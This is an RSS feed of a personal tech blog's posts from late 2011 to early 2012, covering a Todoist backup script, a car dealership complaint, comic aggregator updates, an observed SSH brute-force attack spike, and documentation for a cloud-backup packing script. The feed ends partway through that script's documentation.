<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Something better to do &#187; Internet</title>
	<atom:link href="http://blog.kamens.us/category/computers/internet/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.kamens.us</link>
	<description>Musings of an indignant mind</description>
	<lastBuildDate>Mon, 06 Feb 2012 19:50:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
			<item>
		<title>Don&#8217;t lose your data if Todoist goes away</title>
		<link>http://blog.kamens.us/2012/01/24/dont-lose-your-data-if-todoist-goes-away/</link>
		<comments>http://blog.kamens.us/2012/01/24/dont-lose-your-data-if-todoist-goes-away/#comments</comments>
		<pubDate>Tue, 24 Jan 2012 19:26:04 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Todoist]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2645</guid>
		<description><![CDATA[I keep both work and personal to-do lists in Todoist, to which I refer frequently on a daily basis. This past weekend, Todoist was down for something like 12 hours; from what I subsequently read online, it&#8217;s not the first time it has gone down. I can cope without access to my to-do lists for [...]]]></description>
			<content:encoded><![CDATA[<p>I keep both work and personal to-do lists in <a href="http://todoist.com/" target="_blank">Todoist</a>, to which I refer frequently on a daily basis. This past weekend, Todoist was down for something like 12 hours; from what I subsequently read online, it&#8217;s not the first time it has gone down.</p>
<p>I can cope without access to my to-do lists for 12 hours, but what scared me about this outage was the realization that my to-do lists are <em>only</em> in Todoist. If it were to suddenly go away for a more than a day, or if (horror or horrors!) they suddenly went down forever, all my data would be lost. That&#8217;s not OK.</p>
<p>Many other people have this same concern and have begged Todoist to provide a mechanism for exporting their data to back it up somewhere. Thus far, the closest they&#8217;ve come to this is supporting offline use in their iPhone / iPod / iPad app, which is better than nothing, but not good enough.</p>
<p>So I wrote my own. It&#8217;s a Perl script you can download <a href="http://stuff.mit.edu/~jik/software/todoist-fetch.pl.txt" target="_blank">here</a>. Here&#8217;s the documentation:</p>
<div>
<p><a name="__index__"></a></p>
<hr />
</div>
<h2><a name="name"></a>NAME</h2>
<p>todoist-fetch.pl &#8211; Simple todoist backup / restore script, to reassure you that you won&#8217;t lose all of your data if Todoist suddenly goes belly-up.</p>
<p>&nbsp;</p>
<h2><a name="synopsis"></a>SYNOPSIS</h2>
<p>todoist-fetch.pl [<strong>--help</strong>] [<strong>--manual</strong>] [<strong>--project</strong>=<strong><em>project</em></strong>] [<strong>--username</strong>=<strong><em>username</em></strong>] [<strong>--password</strong>=<strong><em>password</em></strong>] <strong>&#8211;text</strong> | <strong>&#8211;reorder</strong> [<strong><em>input-file</em></strong>] | <strong>&#8211;backup</strong> [<strong>--nocompleted</strong>]</p>
<p>&nbsp;</p>
<h2><a name="description"></a>DESCRIPTION</h2>
<p>&nbsp;</p>
<h3><a name="modes"></a>Modes</h3>
<p>This script has three modes:</p>
<dl>
<dt><strong><a name="text_fetch_all_of_the_items_in_a_specific_project_and_print_them_one_per_line_including_the_item_id_and_content_for_each_item"></a>&#8211;text Fetch all of the items in a specific project and print them one per line, including the item ID and content for each item.</strong></dt>
<dt><strong><a name="the"></a>&#8211;reorder Read a list in the format produced by &#8211;text and reorder the project so it matches the (presumably reordered) list.</strong></dt>
<dt><strong><a name="data"></a>&#8211;backup Fetch all of your project and item data (not notes or labels, since I don&#8217;t use them, but patches are welcome <img src='http://blog.kamens.us/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  and print them in JSON format with some text annotations explaining what the various JSON blobs are.</strong></dt>
</dl>
<p>&nbsp;</p>
<h3><a name="backup_notes"></a>Backup notes</h3>
<p>The format of the backup mode output isn&#8217;t intended to be particularly user-friendly, or easy to read, or easy to import into another application. If/when you need to do anything real with the data, you&#8217;ll probably need to write another script to convert it into something useful. All it&#8217;s intended to do is snapshot your data so you&#8217;ll have it in an emergency.</p>
<p>Backup mode uses a non-public API call, because the public API doesn&#8217;t allow all completed tasks to be fetched except for premium users, and I&#8217;m not a premium user. If the folks at todoist change the non-public API, this will break.</p>
<p>&nbsp;</p>
<h2><a name="options"></a>OPTIONS</h2>
<p>Other options in addition to the mode options described above:</p>
<dl>
<dt><strong><a name="help_print_usage_message_and_exit"></a>&#8211;help Print usage message and exit.</strong></dt>
<dt><strong><a name="manual_print_entire_manual_and_exit"></a>&#8211;manual Print entire manual and exit.</strong></dt>
<dt><strong><a name="username"></a>&#8211;username (or set $TODOIST_USERNAME) Specify Todoist username.</strong></dt>
<dt><strong><a name="password"></a>&#8211;password (or set $TODOIST_PASSWORD) Specify Todoist password.</strong></dt>
<dt><strong><a name="project"></a>&#8211;project (or set $TODOIST_PROJECT) Specify Todoist password for &#8211;text or &#8211;reorder.</strong></dt>
<dt><strong><a name="nocompleted_don_t_export_completed_items_in_backup"></a>&#8211;nocompleted Don&#8217;t export completed items in backup.</strong></dt>
</dl>
<p>&nbsp;</p>
<h2><a name="author"></a>AUTHOR</h2>
<p>Jonathan Kamens &lt;<a href="mailto:jik@kamens.us">jik@kamens.us</a>&gt;. Please feel free to contact me with questions, comments, or suggestions! Also, please consider making a donation at <a href="../support-my-blog/">http://blog.kamens.us/support-my-blog/</a> to support future development of this and other free tools.</p>
<p>&nbsp;</p>
<h2><a name="copyright"></a>COPYRIGHT</h2>
<p>Copyright (C) 2012 Jonathan Kamens. Released under the terms of the GNU General Public License, Version 3 or any subsequent version at your discretion. See <a href="http://www.gnu.org/copyleft/gpl.html">http://www.gnu.org/copyleft/gpl.html</a>.</p>
<p>&nbsp;</p>
<h2><a name="version"></a>VERSION</h2>
<p>$Id: todoist-fetch.pl,v 1.5 2012/01/24 19:34:17 jik Exp $</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2012/01/24/dont-lose-your-data-if-todoist-goes-away/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
			<item>
		<title>Honda Village fires us as a customer</title>
		<link>http://blog.kamens.us/2012/01/18/honda-village-fires-us-as-a-customer/</link>
		<comments>http://blog.kamens.us/2012/01/18/honda-village-fires-us-as-a-customer/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 01:49:59 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Boston]]></category>
		<category><![CDATA[Consumer activism]]></category>
		<category><![CDATA[Fraud]]></category>
		<category><![CDATA[Junk mail]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[Honda Village]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2599</guid>
		<description><![CDATA[Long-time readers of my blog may remember my multiple postings about Honda Village in Newton, Massachusetts. You can read the whole series of Honda Village postings here. In a nutshell, Honda Village lied to us when we bought our car, lied to us after the fact, ignored our complaints, sent us (and others) intentionally misleading [...]]]></description>
			<content:encoded><![CDATA[<p>Long-time readers of my blog may remember my multiple postings about Honda Village in Newton, Massachusetts. You can read the whole series of Honda Village postings <a href="/tag/honda-village/">here</a>.</p>
<p><span id="more-2599"></span>In a nutshell, Honda Village lied to us when we bought our car, lied to us after the fact, ignored our complaints, sent us (and others) intentionally misleading junk mail and refused to stop when asked, sent us lots of spam and refused to stop when asked, and did mediocre auto-body work for us which took multiple attempts to get right (this last point was Village Collision, another business within the Village Automotive Group umbrella of which Honda Village is a part).</p>
<p>Nevertheless, Honda Village is where we bought our Honda Odyssey minivan, and they are the closest Honda dealership to our house, so when we need service done that is warranty- or recall-related and/or inexpensive and hard enough for them to screw up, we take our van there. Or so I thought.</p>
<p>A number of months ago, I brought our van to Honda Village for some simple service or recall or something; I forget the details. After looking up our van in the computer, the associate informed me that I had to speak to the service department manager about something. I went into the manager&#8217;s office, where he informed me that Honda Village would not service my vehicle.</p>
<p>Honda Village has never apologized for any of the things I complained to them about. They have never acknowledged doing anything wrong, unless you consider it an &#8220;apology&#8221; when they paid me the refund I demanded for the warranty which they convinced me to purchase by outright lying to me about its coverage (fraud!).</p>
<p>Their response to my legitimate complaints was not to acknowledge them and try to improve. No, their response has been to continue on with business as usual and refuse to serve me.</p>
<p>Judge for yourself whether this is a business which deserves your patronage.</p>
<p>P.S. I just realized that I never got around to posting what happened after my <a title="Lawyer letter from Village Automotive Group" href="http://blog.kamens.us/2010/02/16/lawyer-letter-from-village-automotive-group/">last letter to Honda Village&#8217;s lawyer</a>. So, for those who are curious&#8230; Their lawyer sent back a response asserting that the precedents on which I was relying were out-of-date, and citing a newer precedent which he claimed precluded my filing a Chapter 93a claim against Honda Village. After reviewing that newer precedent, I thought he was probably right, and in any case didn&#8217;t have any more time to waste on it, so I dropped it.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2012/01/18/honda-village-fires-us-as-a-customer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
			<item>
		<title>&#8220;That&#8217;s Life&#8221; comic fixed in aggregator</title>
		<link>http://blog.kamens.us/2011/12/21/thats-life-comic-fixed-in-aggregator/</link>
		<comments>http://blog.kamens.us/2011/12/21/thats-life-comic-fixed-in-aggregator/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 03:30:00 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Comics Aggregator]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2592</guid>
		<description><![CDATA[I&#8217;ve fixed the comic &#8220;That&#8217;s Life&#8221;, which was broken in my comics aggregator. &#160;]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve fixed the comic &#8220;That&#8217;s Life&#8221;, which was broken in my <a href="http://comics.kamens.brookline.ma.us/" target="_blank">comics aggregator</a>.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/12/21/thats-life-comic-fixed-in-aggregator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
			<item>
		<title>Comics added to aggregator</title>
		<link>http://blog.kamens.us/2011/12/13/comics-added-to-aggregator/</link>
		<comments>http://blog.kamens.us/2011/12/13/comics-added-to-aggregator/#comments</comments>
		<pubDate>Tue, 13 Dec 2011 06:17:24 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Comics Aggregator]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2588</guid>
		<description><![CDATA[By popular demand (i.e., somebody asked), the following comics have been added to my comics aggregator: Banana Triangle Birdbrains Dog Eat Doug F Minus Ink Pen Luann The Other Coast Overboard Pluggers Rubes Scary Gary Strange Brew Enjoy! P.S. If you find the aggregator useful, please consider making a donation. Thanks! &#160;]]></description>
			<content:encoded><![CDATA[<p>By popular demand (i.e., somebody asked), the following comics have been added to my <a href="http://comics.kamens.brookline.ma.us/" target="_blank">comics aggregator</a>:</p>
<ul>
<li>Banana Triangle</li>
<li>Birdbrains</li>
<li>Dog Eat Doug</li>
<li>F Minus</li>
<li>Ink Pen</li>
<li>Luann</li>
<li>The Other Coast</li>
<li>Overboard</li>
<li>Pluggers</li>
<li>Rubes</li>
<li>Scary Gary</li>
<li>Strange Brew</li>
</ul>
<p>Enjoy!</p>
<p>P.S. If you find the aggregator useful, please consider <a href="http://blog.kamens.us/support-my-blog/" target="_blank">making a donation</a>. Thanks!</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/12/13/comics-added-to-aggregator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
			<item>
		<title>Ongoing large-scale distributed SSH brute-force attack</title>
		<link>http://blog.kamens.us/2011/12/04/ongoing-large-scale-distributed-ssh-brute-force-attack/</link>
		<comments>http://blog.kamens.us/2011/12/04/ongoing-large-scale-distributed-ssh-brute-force-attack/#comments</comments>
		<pubDate>Sun, 04 Dec 2011 05:20:15 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2561</guid>
		<description><![CDATA[In the past, securing SSH on the public internet has been pretty much as easy as (a) keep your OS patched, (b) don&#8217;t let root log in with a password, and (c) run fail2ban to stop brute-force attacks. Unfortunately, it looks like the bad guys have finally figured out how to put their bots to [...]]]></description>
			<content:encoded><![CDATA[<p>In the past, securing SSH on the public internet has been pretty much as easy as (a) keep your OS patched, (b) don&#8217;t let root log in with a password, and (c) run fail2ban to stop brute-force attacks.</p>
<p>Unfortunately, it looks like the bad guys have finally figured out how to put their bots to work running distributed SSH brute-force attacks. If so, then fail2ban is no longer going to be good enough, and more sophisticated (and inconvenient) measures are going to be needed.</p>
<p>Prior to December 1, the five machines I maintain with SSH servers accessible to the public have been probed by an average of 13 different IP addresses per day. On December 1, they were probed by 109 different IP addresses, a 738% increase over the prior average. On December 2 and 3, they were probed by 79 and 72 different IP addresses. Not as high as the first day, but still quite a jump!</p>
<p>I saw this increase across the board on five different machines on four distinct networks run by four different network service providers. I&#8217;ve been in correspondence with someone at the SANS Internet Storm Center who says he&#8217;s seen a similar spike on machines he maintains.</p>
<p>It seems clear to me that someone is engaging in a distributed brute-force attack trying to break into servers as root via ssh.</p>
<p><span id="more-2561"></span>Since this particular attack is targeted at the root user, you&#8217;re safe for the time being as long as you don&#8217;t allow root to log in with a password. But it&#8217;s only a matter of time before they start attempting distributed brute-force attacks of non-root accounts. When that happens, blocking individual IP addresses with a series of failed login attempts is no longer going to be sufficient.</p>
<p>If you maintain a server whose SSH port is open to the public, please let me know the details if you&#8217;re seeing a similar attack on your server (you can post a comment here or <a href="mailto:jik@kamens.us">email me</a>. In case it is useful, <a href="http://stuff.mit.edu/~jik/software/ssh-logs.pl.txt" target="_blank">here</a> is the script I have been using to collect and display data from the machines I maintain.</p>
<p>UPDATE: It looks like it&#8217;s dying down. As of December 8, SSH brute-force attempts from distinct IP addresses are at or near their pre-spike levels:</p>
<p><a href="http://blog.kamens.us/wp-content/uploads/2011/12/Dec_8.png"><img class="aligncenter size-medium wp-image-2581" title="December 8" src="http://blog.kamens.us/wp-content/uploads/2011/12/Dec_8-300x209.png" alt="" width="300" height="209" /></a>Either somebody&#8217;s managed to put a stop to whatever was executing this attack, or the attackers have gone back to the drawing board and are tweaking their bots in preparation for the next attack. :-/</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/12/04/ongoing-large-scale-distributed-ssh-brute-force-attack/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
			<item>
		<title>&#8220;Jew&#8221; is not a bad word</title>
		<link>http://blog.kamens.us/2011/11/28/jew-is-not-a-bad-word/</link>
		<comments>http://blog.kamens.us/2011/11/28/jew-is-not-a-bad-word/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 02:51:52 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Judaism]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2557</guid>
		<description><![CDATA[Someone forwarded me a chain letter today about how offensive it is that a blatantly antisemitic web site, JewWatch, shows up at or near the top of the search results when you Google the word &#8220;Jew&#8221;. Here&#8217;s my response: http://blog.kamens.us/jew-is-not-a-bad-word/. &#160;]]></description>
			<content:encoded><![CDATA[<p>Someone forwarded me a chain letter today about how offensive it is that a blatantly antisemitic web site, JewWatch, shows up at or near the top of the search results when you Google the word &#8220;Jew&#8221;.</p>
<p>Here&#8217;s my response: <a href="http://blog.kamens.us/jew-is-not-a-bad-word/">http://blog.kamens.us/jew-is-not-a-bad-word/</a>.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/11/28/jew-is-not-a-bad-word/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
			<item>
		<title>Free Linux cloud backups for cheap bastards</title>
		<link>http://blog.kamens.us/2011/11/19/free-linux-cloud-backups-for-cheap-bastards/</link>
		<comments>http://blog.kamens.us/2011/11/19/free-linux-cloud-backups-for-cheap-bastards/#comments</comments>
		<pubDate>Sat, 19 Nov 2011 23:27:41 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[Free software]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Backups]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2504</guid>
		<description><![CDATA[The last time I looked, there were no options I was happy with for backing up my Linux PC in the cloud for a reasonable price. That may have changed, and perhaps if I were less stubborn I&#8217;d pay CrashPlan a few bucks per month to back up my system,  but I feel compelled to [...]]]></description>
			<content:encoded><![CDATA[<p>The last time I looked, there were no options I was happy with for backing up my Linux PC in the cloud for a reasonable price. That <a href="http://www.onlinebackupdeals.com/linux/best-linux-online-backup-options/" target="_blank">may have changed</a>, and perhaps if I were less stubborn I&#8217;d pay <a href="http://www.crashplan.com/" target="_blank">CrashPlan</a> a few bucks per month to back up my system,  but I feel compelled to build my own backup infrastructure for three reasons: (1) I want complete control over it; (2) I worry about a company backing up my data going belly-up and leaving me high and dry; and (3) I&#8217;m a cheap bastard.</p>
<p>Until recently I was backing up my data into a ReiserFS filesystem being stored in the Amazon S3 cloud via <a href="http://code.google.com/p/s3backer/" target="_blank">s3backer</a>. That was costing me on average a little under $5 per month in storage and transaction costs.</p>
<p>Then I got an offer from <a href="http://www.appsumo.com/" target="_blank">AppSumo</a> for 10GB of storage for life from <a href="http://www.letscrate.com/" target="_blank">LetsCrate</a> for only $25. That got me wondering&#8230; There are a bunch of cloud storage / file sharing services on the Internet right now, and just about every one of them offers some amount of storage for free. Could I find away to take advantage of all that free storage to reduce my backup costs almost to nothing?</p>
<h3><span id="more-2504"></span>What&#8217;s out there</h3>
<p>Here are the cloud storage services that offer free Linux-accessible storage that I know about (if you know of others, please post a comment or <a href="mailto:jik@kamens.us" target="_blank">email me</a>!):</p>
<table border="1">
<tbody>
<tr>
<th>Service</th>
<th>Free space</th>
<th>Referral link</th>
</tr>
<tr>
<td><a href="http://skydrive.live.com/" target="_blank">SkyDrive</a></td>
<td>25GB</td>
<td>n/a</td>
</tr>
<tr>
<td><a name="SugarSync" href="http://www.sugarsync.com/" target="_blank"></a>SugarSync <a href="#n1">[1]</a></td>
<td>5GB, plus bonuses for doing various things like installing clients, plus 500MB per referral</td>
<td><a href="https://www.sugarsync.com/referral?rf=e3rip478tyc6a&amp;utm_source=txemail&amp;utm_medium=email&amp;utm_campaign=referral" target="_blank">Thanks!</a></td>
</tr>
<tr>
<td><a name="IDrive" href="http://www.idrive.com/" target="_blank"></a>IDrive <a href="#n2">[2]</a></td>
<td>5GB, plus 10GB if you let IDrive send a promotional email to <em>all</em> of your contacts, plus 1GB per referral up to a limit of 50GB</td>
<td><a href="http://www.idrive.com/?uid=X7T7P3R9G8" target="_blank">Thanks!</a></td>
</tr>
<tr>
<td><a href="http://www.opendrive.com/" target="_blank">OpenDrive</a></td>
<td>5GB</td>
<td>n/a</td>
</tr>
<tr>
<td><a name="Dropbox" href="http://www.dropbox.com/" target="_blank"></a>Dropbox</td>
<td>2GB, plus 250MB just for setting up the client successfully, plus up to 8GB more in 250MB increments for referrals <a href="#n3">[3]</a></td>
<td><a href="http://db.tt/rwauD66u" target="_blank">Thanks!</a></td>
</tr>
<tr>
<td><a name="Syncplicity" href="http://www.syncplicity.com/" target="_blank"></a>Syncplicity <a href="#n4">[4]</a></td>
<td>2GB plus referrals (1GB each up to 3GB)</td>
<td><a href="https://my.syncplicity.com/Signup/UserSignup.aspx?plan=free&amp;token=UJEDCT23" target="_blank">Thanks!</a></td>
</tr>
<tr>
<td><a style="text-decoration: line-through;" name="ZumoDrive" href="http://www.zumodrive.com/" target="_blank"></a>ZumoDrive <a href="#n5">[5]</a></td>
<td>2GB</td>
<td>n/a</td>
</tr>
<tr>
<td><a href="http://www.teamdrive.com/" target="_blank">TeamDrive</a></td>
<td>2GB, plus 250MB per referral up to 8GB</td>
<td><a href="http://www.teamdrive.com/en/ref/dkse93ae" target="_blank">Thanks!</a></td>
</tr>
<tr>
<td><a name="SpiderOak" href="http://www.spideroak.com/" target="_blank"></a>SpiderOak <a href="#n6">[6]</a></td>
<td>2GB, plus 1GB per referral up to 50GB</td>
<td><a href="https://spideroak.com/download/referral/f88ee845d9542c43736171e7a2edb70d" target="_blank">Thanks!</a></td>
</tr>
<tr>
<td><a name="LetsCrate" href="http://www.letscrate.com/" target="_blank"></a>LetsCrate <a href="#n7">[7]</a></td>
<td>1GB</td>
<td>n/a</td>
</tr>
<tr>
<td><a href="http://docs.google.com/">Google Docs</a></td>
<td>1GB</td>
<td>n/a</td>
</tr>
</tbody>
</table>
<div style="font-size: 75%;">
<p style="padding-left: 30px;">Notes:</p>
<p style="padding-left: 30px;"><a name="n1" href="#SugarSync"></a>[1] SugarSync isn&#8217;t directly accessible from Linux, but you can run it easily under WINE.</p>
<p style="padding-left: 30px;"><a name="n2" href="#IDrive"></a>[2] IDrive isn&#8217;t directly accessible from Linux, and it doesn&#8217;t seem to play well with WINE, at least as of WINE 1.3.29, so you&#8217;ll have to run Windows inside of VirtualBox or something if you want to use it. Also, under Windows, you have to use msconfig to prevent it from starting up when you log in.</p>
<p style="padding-left: 30px;"><a name="n3" href="#Dropbox"></a>[3] If you use an email address ending in &#8220;.edu&#8221; and use that to register for your Dropbox account, and then validate it at <a href="http://dropbox.com/edu" target="_blank">http://dropbox.com/edu</a>, you get 500MB per referral instead of 250MB. You can even change your Dropbox email address to a &#8220;.edu&#8221; one and then use the link above to get the extra referral space retroactively!</p>
<p style="padding-left: 30px;"><a name="n4" href="#Syncplicity"></a>[4] Syncplicity isn&#8217;t directly accessible from Linux, and I can&#8217;t confirm whether it runs under WINE because winetricks won&#8217;t install .NET 3.0 properly on an x86_64 system like mine. Under Windows, you have to use msconfig to prevent it from starting up when you log in.</p>
<p style="padding-left: 30px;"><a name="n5" href="#ZumoDrive"></a>[5] The Linux client provided by ZumoDrive doesn&#8217;t work on Fedora 16 Linux, and I couldn&#8217;t figure out how to get it to work. The Windows client installs, but I couldn&#8217;t find anywhere in the client or on the ZumoDrive Web site where I could actually sign up for a new account! Maybe they&#8217;re not accepting new users anymore or something?</p>
<p style="padding-left: 30px;"><a name="n6" href="#SpiderOak"></a>[6] SpiderOak&#8217;s web site doesn&#8217;t work in Google Chrome on Linux; it hangs when you try to visit it.</p>
<p style="padding-left: 30px;"><a name="n7" href="#LetsCrate"></a>[7] So far, I am unimpressed with LetsCrate. Once you actually get a file into their system, it seems to be safe, but getting files in can be a challenge, since the web app is flaky and unreliable. Perhaps they will improve over time. (I wrote this in October 2011)</p>
</div>
<p>That&#8217;s 50GB of free space in the cloud (43GB if you don&#8217;t have a Windows VM), if you can figure out how to use it effectively. So, how do you use it effectively?</p>
<h3>The backup script: crateify.pl</h3>
<p>My answer is <a href="http://stuff.mit.edu/~jik/software/crateify.pl.txt" target="_blank">crateify.pl</a>, a simple Perl script I wrote for this purpose.</p>
<p>Without further ado, here is its embedded Perl &#8220;POD&#8221; documentation:</p>
<hr />
<h2><a name="name"></a>NAME</h2>
<p>crateify.pl &#8211; Package up files for backing up in the cloud</p>
<p>&nbsp;</p>
<h2><a name="description"></a>DESCRIPTION</h2>
<p>This script packages files within a directory tree into compressed, encrypted tar &#8220;crates&#8221; that can be easily uploaded to free cloud storage accounts, providing a sort of poor-man&#8217;s cloud backup solution.</p>
<p>The files are packaged in chronological order, i.e., oldest files first, to minimize the frequency with which you have to rebuild crates. Files that are updated between runs of the script are repackaged in new crates.</p>
<p>&nbsp;</p>
<h2><a name="configuration_settings"></a>CONFIGURATION SETTINGS</h2>
<p>The following variables can and should be edited in the script before you use it:</p>
<dl>
<dt><strong><a name="_backup_dir"></a>$backup_dir</strong></dt>
<dd>The directory whose contents should be crated.</p>
<p>Note that files with newlines in their names will not be crated.</p>
</dd>
<dt><strong><a name="_data_dir"></a>$data_dir</strong></dt>
<dd>The directory in which crates and associated metadata files should be stored.</p>
</dd>
<dt><strong><a name="_gpg_dir"></a>$gpg_dir</strong></dt>
<dd>The directory in which the keyring containing your GPG key (used to encrypt the crates for safe storage online) is stored.</p>
</dd>
<dt><strong><a name="_gpg_key"></a>$gpg_key</strong></dt>
<dd>The identifier of the GPG key that should be used to encrypt the crates.</p>
<p><strong>NOTE:</strong> Make sure you have copies of your public and private GPG keys backed up somewhere safe <em>not</em> inside a crate. If your computer crashes and you need to restore from your backup, it won&#8217;t do any good if you can&#8217;t decrypt it!</p>
</dd>
<dt><strong><a name="_archive_size"></a>$archive_size</strong></dt>
<dd>The (pre-compression, pre-encryption) size of each crate, in bytes. A crates can end up being much bigger than this if the last file inserted into it is large.</p>
</dd>
<dt><strong><a name="_exclude"></a>@exclude</strong></dt>
<dd>Regular expressions (relative to the root of <em>$backup_dir</em>) of directories and files to be excluded from crating.</p>
<p>Here&#8217;s a trick I use to find out what&#8217;s taking up space in my crates:</p>
<pre> cd $backup_dir
 sed -e 's/ [0-9]*$//' $data_dir/crate-##### | xargs -d '\n' ls -lSr</pre>
<p>This lists the files in the specific crate, in size order, so you an see what&#8217;s taking up a lot of space. I do this whenever my nightly backup report email tells me that a larger than expected crate was built.</p>
<p>Note that I personally do not back up my &#8220;live&#8221; hard drive, but rather a mirror hard drive maintained with rdiff-backup. Therefore, most of the files I would not want/need to crate are already excluded from my <em>$backup_dir</em>, which is why my @exclude list is so short.</p>
<p>If you <em>do</em> backup of your live hard drive, then make sure you exclude cloud storage directories, e.g., ~/Dropbox, especially if you store crates in them! Otherwise, you&#8217;ll create a loop where each time you create new crates in a backup, your old crates will be included in them, which would obviously be Very Bad.</p>
<p>If you specify both @exclude and @include, then @include is applied first and @exclude is applied to what&#8217;s left.</p>
</dd>
<dt><strong><a name="_include"></a>@include</strong></dt>
<dd>Regular expressions (relative to the root of <em>$backup_dir</em>) of directories and files to be included from crating.</p>
<p>If you specify both @exclude and @include, then @include is applied first and @exclude is applied to what&#8217;s left.</p>
</dd>
</dl>
<p>&nbsp;</p>
<h2><a name="options"></a>OPTIONS</h2>
<dl>
<dt><strong><a name="crates"></a>&#8211;crates=<em>#</em></strong></dt>
<dd>Produce (at most) te specified number of crates, rather than just one new crate, which is the default.</p>
<p>This is faster when you want to produce multiple crates, since it won&#8217;t have to rescan the entire backup directory for each one.</p>
</dd>
<dt><strong><a name="full"></a>&#8211;full</strong></dt>
<dd>Create enough crates to hold everything that currently needs to be crated.</p>
</dd>
<dt><strong><a name="scan"></a>&#8211;scan</strong></dt>
<dd>Update meta-data files (see below) without building any new crates.</p>
</dd>
<dt><strong><a name="quiet"></a>&#8211;quiet</strong></dt>
<dd>Don&#8217;t print warnings about updated or deleted files in existing crates.</p>
</dd>
</dl>
<p>&nbsp;</p>
<h2><a name="compacting_crates"></a>COMPACTING CRATES</h2>
<p>The early crates you build will probably be relatively static, assuming that you have a lot of old data that isn&#8217;t likely to change anymore.</p>
<p>However, over time your crates will accumulate files that are obsolete because they&#8217;ve been deleted or updated versions have been packed into newer crates. Each time you run it, the script prints warnings about such files.</p>
<p>You will probably want to occasionally &#8220;compact&#8221; your crates to remove such obsolete files. To do this, simply remove the corresponding crate-<em>#####</em> files from <em>$data_dir</em>, and the corresponding compressed, encrypted tar files from wherever you put them, and the script will repack the files that were in those crates the next time you run it.</p>
<p>&nbsp;</p>
<h2><a name="meta_data_files"></a>META-DATA FILES</h2>
<p>The script creates the following meta-data files:</p>
<dl>
<dt><strong><a name="crate"></a>crate-<em>#####</em></strong></dt>
<dd>Listings of the files in each crate. The script needs these to work, so you should leave them in <em>$data_dir</em> even if you move the crates themselves into the cloud.</p>
</dd>
<dt><strong><a name="deleted"></a>deleted</strong></dt>
<dd>A list of the crated files that have been deleted since they were crated.</p>
</dd>
<dt><strong><a name="updated"></a>updated</strong></dt>
<dd>A list of the crated files that have been updated since they were crated, i.e., files that have obsolete versions in one or more crates, and will also, if your crates are up-to-date, have a <em>current</em> version in one crate.</p>
</dd>
<dt><strong><a name="packing_list"></a>packing_list</strong></dt>
<dd>Temporary file created and used while packing crates. It should not exist between successful runs of the script, but you shouldn&#8217;t create a file with this name in <em>$data_dir</em> or it&#8217;ll get overwritten.</p>
</dd>
<dt><strong><a name="excludes"></a>excludes</strong></dt>
<dd>A list of all te files in all of the crates, intended to be used to exclude those files from some <em>other</em> backup system.</p>
<p>Suppose you want to use this script to back up your old, static files that never change, but you&#8217;d rather use some other backup system to back up frequently changing files. To do that, you would tell the other backup system to exclude the files listed in <em>$data_dir</em>/excludes.</p>
<p>For example, if you use rsync to backup frequently changing files to a remote filesystem, then you can tell it to &#8220;&#8211;exclude-from <em>$data_dir</em>/excludes&#8221;.</p>
</dd>
</dl>
<p>&nbsp;</p>
<h2><a name="where_to_put_the_crates"></a>WHERE TO PUT THE CRATES</h2>
<p>The crates you build with this script obviously don&#8217;t do much good as a backup if they sit on the same drive as the files being backed up. Here are some examples of what you can do with them to turn them into a real backup.</p>
<ul>
<li>Stick an extra hard drive (internal or external) into your system and put your crates on it. This won&#8217;t do you much good if your house burns down or somebody steals your computer, but it&#8217;ll at least protect you against drive failure.</li>
